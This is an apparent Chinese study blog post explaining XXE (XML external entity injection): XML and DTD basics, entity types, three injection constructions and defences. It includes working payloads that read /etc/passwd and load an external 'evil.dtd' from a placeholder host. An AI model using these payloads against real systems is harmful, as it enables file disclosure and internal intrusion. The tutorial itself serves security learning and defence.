DAY34:XXE 漏洞基础

DAY34:XXE 漏洞

1、XML 外部实体注入( Extensible markup language )

2、XML 基本格式

​ XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

2.1、构建模块

  • 元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的
  • 属性
属性可提供有关元素的额外信息
  • 实体
实体是用来定义普通文本的变量。实体引用是对实体的引用
  • PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记
  • CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>	#XML文件声明 DTD为XML文档定义语义约束
<bookstore>
	<book category="test">   #属性
		<title>XML Study</title>
		<day>2022-08-18</day>
	</book>
</bookstore>	
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///etc/passwd">]>    //内部实体为 file
<user>
<username>&file;</username>					  //此处应为 &file;
<password>111</password>
</user>

请添加图片描述

外部声明(引用外部DTD):

<!DOCTYPE 根元素 SYSTEM "文件名"> 
</!doctype>
<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

3、基本语法

(1)所有的 XML 元素都必须有关闭标签

(2)XML 标签对大小写敏感

(3)XML 属性值必须加引号

(4)XML 必须正确嵌套

(5)XML 标签自定义

4、DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用

内部声明:

<!DOCTYPE 根元素 [元素声明]> 

外部声明:

<!DOCTYPE 根元素 SYSTEM "文件名"> 

4.1、DTD 实体

(1)一般实体

(2)参数实体

4.3、一般实体

声明语法:

<!ENTITY 实体名 "实体内容">

引用实体的方式:

&实体名;

4.4、参数实体:

只能在DTD中使用,参数实体的声明格式:

 <!ENTITY % 实体名 "实体内容">

引用实体的方式:

%实体名

内部实体声明:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

5、构建外部实体注入方式

5.1、直接通过DTD外部实体声明

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
	<!ENTITY file SYSTEM "file:///etc/passwd">]>
<c>&file;</c>

5.2、通过DTD文档引入外部DTD文档,再引入外部实体声明

XML:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe SYSTEM "url/evil.dtd">
<c>&file;</c>

DTD:

<!ENTITY file SYSTEM "file:///etc/passwd">

5.3、通过DTD外部实体声明引入外部实体声明

XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
	<!ENTITY % a SYSTEM "url/evil.dtd">
	%a;
]>
<c>&file;</c>

DTD:

<!ENTITY file SYSTEM "file:///etc/passwd">

6、XXE 的危害

(1)读取任意文件

(2)执行系统命令

(3)探测内网端口

(4)攻击内网网站

7、XXE 的防御

(1)使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(2)过滤用户提交的 XML 数据

<!DOCTYPE和<!ENTITY
SYSTEM
PUBLIC
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值